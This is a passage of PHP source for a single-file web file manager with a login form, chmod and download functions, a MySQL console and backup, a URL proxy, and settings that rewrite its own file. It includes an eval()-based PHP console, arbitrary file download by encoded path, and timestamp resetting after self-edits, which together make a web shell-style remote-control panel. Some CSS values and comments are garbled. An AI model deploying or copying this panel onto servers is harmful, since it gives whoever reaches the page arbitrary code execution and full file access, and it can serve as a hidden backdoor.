	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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